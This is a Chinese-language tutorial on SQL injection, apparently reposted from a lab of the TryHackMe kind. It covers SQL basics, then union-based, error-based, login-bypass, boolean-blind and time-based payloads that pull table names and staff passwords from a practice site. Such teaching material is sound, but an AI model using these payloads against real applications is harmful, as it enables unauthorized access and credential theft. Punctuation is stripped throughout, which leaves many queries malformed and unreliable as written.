阿里网站seo英文网页
web/
2025/10/7 12:53:49/
文章来源:
阿里网站seo,英文网页,海北公司网站建设价格低,优化图片大小的网站简介
SQL注入#xff0c;通常称为SQLi#xff0c;是对 Web 应用程序数据库服务器的攻击#xff0c;导致执行恶意查询。当 Web 应用程序使用未经适当验证的用户输入与数据库通信时#xff0c;攻击者有可能窃取、删除或更改私人和客户数据#xff0c;还可以攻击 Web 应用程…简介
SQL注入通常称为SQLi是对 Web 应用程序数据库服务器的攻击导致执行恶意查询。当 Web 应用程序使用未经适当验证的用户输入与数据库通信时攻击者有可能窃取、删除或更改私人和客户数据还可以攻击 Web 应用程序的身份验证方法以访问私人或客户区域。
数据库是什么
数据库是以有组织的方式电子存储数据的一种方法。数据库由数据库管理系统DBMS控制DBMS 是数据库管理系统的缩写DBMS 分为两类关系型和非关系型。
在 DBMS 中可以有多个数据库每个数据库包含自己的一组相关数据。
你可以使用称为表的东西将此信息单独存储在数据库中表由列和行组成表的每个列都有一个唯一的id。
表是什么
表由列和行组成可以将表想象为一个网格列横跨从左到右包含单元格名称行从上到下每行都有实际数据。
列
每一列最好称为字段都有每个表的唯一名称。创建列时还会设置它将包含的数据类型常见的类型包括整型、字符串或日期。某些数据库可以包含更复杂的数据例如包含位置信息的地理空间数据。设置数据类型还确保不会存储不正确的信息例如将字符串 hello world 存储在日期列中。如果发生这种情况数据库服务器通常会生成错误消息。包含整数的列还可以启用自动增量功能这为每一行数据提供一个随着每一行的增加而增长增量的唯一数字这创建了所谓的键字段键字段对于每一行的数据都必须是唯一的可以用于在 SQL 查询中找到确切的行。
行
行或记录包含个别数据行。向表添加数据时将创建一个新的行/记录而删除数据时将删除一行/记录。
关系型数据库与非关系型数据库
关系型数据库将信息存储在表中通常表之间有共享信息它们使用列来指定和定义存储的数据并使用行来实际存储数据。表通常包含一个具有唯一 ID主键的列该 ID 将在其他表中用于引用它并在表之间建立关系因此称为关系型数据库。
非关系型数据库有时称为 NoSQL它不使用表、列和行来存储数据不需要构建特定的数据库布局因此每一行数据可以包含不同的信息这为非关系型数据库提供了比关系型数据库更大的灵活性。一些常见的这类数据库是 MongoDB、Cassandra 和 ElasticSearch。
什么是 SQL
SQL结构化查询语言是用于查询数据库的功能丰富的语言这些 SQL 查询更好地称为语句。
尽管有些相似但一些数据库服务器具有它们自己的语法和工作方式上的轻微变化。
值得注意的是SQL 语法不区分大小写。
SELECT
select * from users;
第一个单词 SELECT 告诉数据库我们想检索一些数据* 告诉数据库我们想要从表中接收所有列的数据。例如表可能包含三列id、username 和 password。from users 告诉数据库我们想要从名为 users 的表中检索数据。最后分号表示查询的结束。
下一个查询与上面的类似但这次与使用 * 返回表中的所有列不同我们只请求用户名和密码字段。
select username,password from users;
下面的查询与第一个相似但这次与使用 * 选择表中的所有列不同“LIMIT 1” 子句强制数据库只返回一行数据。将查询更改为 LIMIT 1,1 强制查询跳过第一个结果然后 LIMIT 2,1 跳过前两个结果依此类推。需要记住第一个数字告诉数据库要跳过多少个结果而第二个数字告诉数据库要返回多少行。
select * from users LIMIT 1;
最后我们将利用 where 子句这是我们可以通过返回与我们的特定子句匹配的数据只返回与我们的特定子句匹配的数据的方式
select * from users where usernameadmin;
这将仅返回用户名等于 admin 的行。
select * from users where username ! admin;
这将仅返回用户名不等于 admin 的行。
select * from users where usernameadmin or usernamejon;
这将仅返回用户名等于 admin 或 jon 的行。
select * from users where usernameadmin and passwordp4ssword;
这将仅返回用户名等于 admin且密码等于 p4ssword 的行。
使用 like 子句允许你指定不是精确匹配的数据而是以某些字符开始、包含或以某些字符结束的数据通过选择放置通配符字符由百分比符号 % 表示的位置来选择。
select * from users where username like a%;
这将返回用户名以字母 a 开头的任何行。
select * from users where username like %n;
这将返回用户名以字母 n 结尾的任何行。
select * from users where username like %or%;
这将返回用户名中包含字母组合 or 的任何行。
UNION
UNION 语句用于组合两个或多个 SELECT 语句的结果集。结果集中的列数、列顺序和数据类型必须相同。这也是 SQL 攻击中的一种常见手法。
select username,password from users UNION select name,credit_card_number from customers;
在此查询中我们尝试将两个表中的用户名和密码与客户表中的姓名和信用卡号组合在一起。这可能导致暴露敏感数据因为攻击者可以通过 SQL 注入获取这些信息。
INSERT
INSERT 语句用于向表中插入新记录。以下是一个基本示例
insert into users (username, password) values (newuser, newpassword);
这将在名为 users 的表中插入一行包含用户名为 newuser密码为 newpassword。
UPDATE
UPDATE 语句用于更新表中的现有记录。以下是一个基本示例
update users set passwordnewpassword where usernameexistinguser;
这将更改名为 existinguser 的用户的密码为 newpassword。
DELETE
DELETE 语句用于从表中删除记录。以下是一个基本示例
delete from users where usernameuser_to_delete;
这将从名为 users 的表中删除用户名为 user_to_delete 的行。
什么是 SQL 注入
SQL 注入是一种通过将恶意 SQL 代码插入输入字段或 URI 中的查询字符串来攻击数据库的技术。这可能会导致攻击者能够访问或修改数据库中的敏感数据绕过身份验证甚至删除整个数据库。 以下面的场景为例你遇到了一个在线博客并且每个博客条目都有一个唯一的 ID 号。 博客条目可以设置为公开或私有具体取决于它们是否准备好公开发布。 每个博客条目的 URL 可能如下所示
https://website.thm/blog?id1
从上面的 URL 中你可以看到被选择的博客条目来自查询字符串中的 id 参数。 Web 应用程序需要从数据库检索文章并且可能使用如下所示的 SQL 语句
SELECT * from blog where id1 and private0 LIMIT 1;
让我们假设文章 ID 2 仍被锁定为私有因此无法在网站上查看。 我们现在可以调用 URL
https://website.thm/blog?id2;--
然后这将生成 SQL 语句
SELECT * from blog where id2;-- and private0 LIMIT 1;
URL 中的分号表示 SQL 语句的结束两个破折号会导致后面的所有内容都被视为注释。 通过这样做你实际上只是运行查询
SELECT * from blog where id2;--
无论是否设置为公开都会返回 id 为 2 的文章。
攻击类型
In-Band SQL 注入
这是最常见的 SQL 注入类型。攻击者使用与应用程序相同的通道从数据库检索数据。有两种主要的 In-Band 注入
Union-Based SQL 注入 攻击者使用 UNION 操作合并结果集通过这种方式检索额外的信息。
select username, password from users where username admin union all select 1,2 from dual;
在这个例子中admin 是正常的用户名而 union all select 1,2 from dual 将返回一个额外的结果集其中包含数字 1 和 2。
Error-Based SQL 注入 攻击者故意触发错误以便从数据库中检索有关其结构的信息。
select * from users where username admin and 1convert(int, (select version)); 例子
发现基于错误的 SQL 注入的关键是通过尝试某些字符来破坏代码的 SQL 查询直到产生错误消息 最常见的是单引号 () 或双引号 ()。
假设你尝试在 id1 后输入撇号 ( )然后按 Enter 键。 返回一个 SQL 错误通知你语法中存在错误。 你收到此错误消息这一事实证实了 SQL 注入漏洞的存在。 我们现在可以利用此漏洞并使用错误消息来了解有关数据库结构的更多信息。
我们需要做的第一件事是将数据返回到浏览器而不显示错误消息。 首先我们将尝试 UNION 运算符这样我们就可以获得我们选择的额外结果。 尝试将模拟浏览器 id 参数设置为
1 UNION SELECT 1
此语句应该生成一条错误消息通知你 UNION SELECT 语句的列数与原始 SELECT 查询的列数不同。 因此让我们再试一次但添加另一列
1 UNION SELECT 1,2再次出现同样的错误所以让我们通过添加另一列来重复
1 UNION SELECT 1,2,3
成功错误消息消失了并且正在显示文章但现在我们想要显示我们的数据而不是文章。 正在显示该文章是因为它在网站代码中的某个位置获取第一个返回的结果并显示该结果。 为了解决这个问题我们需要第一个查询不产生任何结果。 只需将文章 id 从 1 更改为 0 即可完成此操作。
0 UNION SELECT 1,2,3
现在你将看到该文章仅由返回列值 1、2 和 3 的 UNION select 的结果组成。我们可以开始使用这些返回值来检索更多有用的信息。 首先我们将获取我们有权访问的数据库名称
0 UNION SELECT 1,2,database()
现在您将看到之前显示数字 3 的位置 它现在显示数据库的名称假设为sqli_one
我们的下一个查询将收集该数据库中的表的列表。
在此查询中有一些新内容需要学习。 首先 group_concat()从多个返回的行中获取指定的列在我们的例子中为 table_name并将其放入一个以逗号分隔的字符串中。 接下来是 information_schema数据库 数据库的每个用户都可以访问它并且它包含有关用户有权访问的所有数据库和表的信息。 在这个特定的查询中我们感兴趣的是列出 sqli_one 数据库中的所有表。假设为article和staff_users。
如果我们的目标是发现 Martin 的密码那么我们感兴趣的是 Staff_users 表。 我们可以再次利用 information_schema 数据库使用以下查询查找该表的结构。
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name staff_users查询结果为staff_users 表提供三列id、password 和 username。 我们可以使用以下查询的用户名和密码列来检索用户的信息。
0 UNION SELECT 1,2,group_concat(用户名,:,密码 SEPARATOR br) FROM Staff_users
我们再次使用 group_concat 方法将所有行返回到一个字符串中并使其更易于阅读。 我们还添加了 ,:, 以将用户名和密码分开。 我们没有使用逗号分隔而是选择了 HTML中的 br 标记该标记强制每个结果位于单独的行上以便于阅读。
盲注 SQLi - 认证绕过
盲注 SQLi
盲注 SQL 注入是当我们几乎没有反馈来确认我们注入的查询是否成功的情况这是因为错误消息已被禁用但注入仍然有效。
认证绕过
最直接的盲注 SQL 注入技术之一是绕过身份验证方法如登录表单。在这种情况下我们并不太关心从数据库中检索数据我们只想通过登录。
与用户数据库连接的登录表单通常是这样开发的即 Web 应用程序对用户名和密码的内容不感兴趣而是更关心这两者是否在用户表中构成匹配对。简而言之Web 应用程序向数据库询问“你是否有一个用户名为 bob密码为 bob123 的用户数据库以是或否真或假回答根据该答案决定是否允许 Web 应用程序让您继续。
考虑到上述信息无需枚举有效的用户名/密码对。我们只需创建一个数据库查询该查询以是/真作为回复。
例子
select * from users where username%username% and password%password% LIMIT 1;
注意**%username%** 和 **%password%** 的值取自登录表单字段SQL 查询框中的初始值将为空因为这些字段目前为空。
为了使其成为始终返回为真的查询我们可以在密码字段中输入以下内容 OR 11;--
这将将 SQL 查询转换为以下形式
select * from users where username and password OR 11;
由于 11 是一个真语句并且我们使用了 OR 运算符这将始终导致查询返回为真从而满足 Web 应用程序的逻辑即数据库找到了有效的用户名/密码组合应该允许访问。
盲注 SQLi - 布尔型
布尔型
布尔型 SQL 注入是指我们从注入尝试中收到的响应可能是真/假、是/否、打开/关闭、1/0或仅具有两个结果的任何响应。这个结果向我们确认我们的 SQL 注入有效与否。乍一看您可能觉得这种有限的响应不能提供太多信息。但事实上仅使用这两个响应就可以枚举整个数据库结构和内容。
例子 https://website.thm/checkuser?usernameadmin
浏览器主体包含 {taken:true} 的内容。此 API 端点模拟了许多注册表单上常见的功能检查用户名是否已注册以提示用户选择不同的用户名。由于 taken 值设置为 true我们可以假定用户名 admin 已注册。实际上通过将模拟浏览器地址栏中的用户名从 admin 更改为 admin123 并按回车键您将看到 taken 的值现在已更改为 false
处理的 SQL 查询如下
select * from users where username %username% LIMIT 1;
由于我们唯一有控制权的输入是查询字符串中的用户名我们必须使用它来执行我们的 SQL 注入。将用户名保持为 admin123我们可以开始附加到此以尝试使数据库确认真实的事物这将将已占用的字段状态从 false 更改为 true。
与以前的级别一样我们的第一个任务是确定用户表中的列数这可以通过使用 UNION 语句来实现。将用户名值更改为以下内容
admin123 UNION SELECT 1;--
由于 Web 应用程序以 taken 值为 false 响应我们可以确认这是列数不正确的值。继续添加更多列直到我们有 taken 值为 true。您可以通过将用户名设置为以下值来确认答案为三列
admin123 UNION SELECT 1,2,3;--
现在我们已经确定了列数可以开始枚举数据库。我们的第一个任务是发现数据库名称。我们可以通过使用内置的 database() 方法然后使用 like 运算符来尝试找到将返回 true 状态的结果。
admin123 UNION SELECT 1,2,3 where database() like %;--
我们得到一个真回应因为在 like 运算符中我们只有 % 的值它将匹配任何内容因为它是通配符值。如果我们将通配符运算符更改为 a%您将看到响应变为 false从而确认数据库名称不以字母 a 开头。我们可以循环浏览所有字母、数字和字符例如 - 和 _直到找到匹配。如果将以下内容发送为用户名值您将收到一个 true 响应确认数据库名称以字母 s 开头
admin123 UNION SELECT 1,2,3 where database() like s%;--
现在您可以继续到数据库名称的下一个字符直到找到另一个 true 响应例如 sa%、sb%、sc% 等。继续这个过程直到发现数据库名称的所有字符即 sqli_three
我们已经确认了数据库名称现在可以使用它来使用类似的方法枚举表名利用 information_schema 数据库中的信息。尝试将用户名设置为以下值
admin123 UNION SELECT 1,2,3 FROMinformation_schema.tables WHERE table_schema sqli_three and table_name like a%;--
此查询在 information_schema 数据库的 tables 表中寻找结果其中数据库名称匹配 sqli_three表名以字母 a 开头。由于上述查询导致 false 响应我们可以确认 sqli_three 数据库中没有以字母 a 开头的表。与以前一样您将需要循环浏览字母、数字和字符直到找到积极匹配。
最后您最终会发现 sqli_three 数据库中有一个名为 users 的表您可以通过运行以下用户名负载来确认
admin123 UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema sqli_three and table_nameusers;--
最后我们现在需要枚举 users 表中的列名以便我们可以正确搜索其中的登录凭据。再次使用 information_schema 数据库和我们已经获得的信息我们可以开始查询列名。使用下面的负载我们在数据库等于 sqli_three、表名等于 users 且列名以字母 a 开头的地方搜索 columns 表。
admin123 UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMAsqli_three and TABLE_NAMEusers and COLUMN_NAME like a%;
再次循环浏览字母、数字和字符直到找到匹配。由于您正在寻找多个结果因此每次找到新的列名时都必须将其添加到您的负载中以免继续发现相同的列。例如一旦找到名为 id 的列你将将其追加到原始负载中如下所示。
admin123 UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMAsqli_three and TABLE_NAMEusers and COLUMN_NAME like a% and COLUMN_NAME !id;
重复此过程三次将使您能够发现列 id、username 和 password。现在您可以使用这些列在 users 表中查询登录凭据。首先您需要发现一个有效的用户名可以使用以下负载
admin123 UNION SELECT 1,2,3 from users where username like a%
通过循环浏览所有字符您将确认用户名 admin 的存在。现在您已经有了用户名可以专注于发现密码。下面的负载显示了如何查找密码
admin123 UNION SELECT 1,2,3 from users where usernameadmin and password like a%
通过循环浏览所有字符您将发现密码为 3845。
盲注 SQLi - 基于时间的
基于时间的盲注 SQL 注入与上述布尔型相似因为发送的是相同的请求但这次没有视觉指示您的查询是否正确或错误。相反正确查询的指示是基于查询完成的时间。通过使用内置方法如 SLEEP(x) 与 UNION 语句一起引入时间延迟。SLEEP() 方法只会在成功的 UNION SELECT 语句中执行。
例子
admin123 UNION SELECT SLEEP(5);--
如果响应时间没有暂停我们知道查询失败了因此与之前的任务一样我们添加另一列
admin123 UNION SELECT SLEEP(5),2;--
此负载应生成 5 秒的延迟确认 UNION 语句的成功执行以及存在两列。
现在你可以从基于布尔的 SQL 注入的枚举过程中重复此操作。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/88484.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!